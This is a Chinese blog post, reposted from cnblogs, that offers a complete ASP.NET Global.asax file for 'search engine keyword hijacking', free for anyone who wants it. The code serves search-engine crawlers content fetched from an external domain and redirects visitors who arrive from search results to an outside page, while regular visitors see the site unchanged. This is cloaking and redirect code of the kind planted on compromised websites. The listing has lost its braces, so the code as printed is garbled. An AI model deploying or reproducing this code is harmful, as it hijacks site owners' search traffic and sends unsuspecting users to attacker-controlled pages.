搜索引擎关键词劫持之.net篇

摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。 %@A...

蛋疼写的,有需要的就拿去,注意要保存为Global.asax。
重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如

<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>

来指明是UTF-8编码,以避免乱码问题。

    1. <%@ Application Language="C#" %> 
    2. <script runat="server"> 
    3.  
    4. void Application_Start(object sender, EventArgs e) 
    5. //在应用程序启动时运行的代码 
    6. void Application_End(object sender, EventArgs e) 
    7. //在应用程序关闭时运行的代码 
    8.  
    9. void Application_Error(object sender, EventArgs e) 
    10. //在出现未处理的错误时运行的代码 
    11.  
    12. void Session_Start(object sender, EventArgs e) 
    13. //在新会话启动时运行的代码 
    14. //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
    15. string data_url = "http://www.yunsec.net";//要展示给搜索引擎的页面 
    16. string redirect_url="http://www.yunsec.net/1.asp";//从搜索引擎点击进来跳转的页面 
    17. if (is_spider()) 
    18. HttpContext.Current.Response.Clear(); 
    19. HttpContext.Current.Response.BinaryWrite(get_data(data_url)); 
    20. HttpContext.Current.Response.End(); 
    21. else if(is_from_search()) 
    22. HttpContext.Current.Response.Redirect(redirect_url, true); 
    23. else 
    24. //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
    25.  
    26. void Session_End(object sender, EventArgs e) 
    27. //在会话结束时运行的代码。 
    28. // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为 
    29. // InProc 时,才会引发 Session_End 事件。如果会话模式 
    30. //设置为 StateServer 或 SQLServer,则不会引发该事件。 
    31.  
    32. public bool is_spider() 
    33. string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识 
    34. string[] spider_flagspider_flag_arr = spider_flag.Split('|'); 
    35. string user_agent=HttpContext.Current.Request.UserAgent; 
    36. foreach (string tmp_flag in spider_flag_arr) 
    37. if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } 
    38. return false; 
    39. public bool is_from_search() 
    40. if (HttpContext.Current.Request.UrlReferrer==null) 
    41. return false; 
    42. else 
    43. string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); 
    44. string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识 
    45. string[] search_flagsearch_flag_arr = search_flag.Split('|'); 
    46. foreach (string tmp_flag in search_flag_arr) 
    47. if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; } 
    48. return false; 
    49. public byte[] get_data(string url) 
    50. System.Net.WebClient wc = new System.Net.WebClient(); 
    51. byte[] data = wc.DownloadData(url); 
    52. return data; 
    53.  
    54. </script>

转载于:https://www.cnblogs.com/cncz/articles/3777127.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值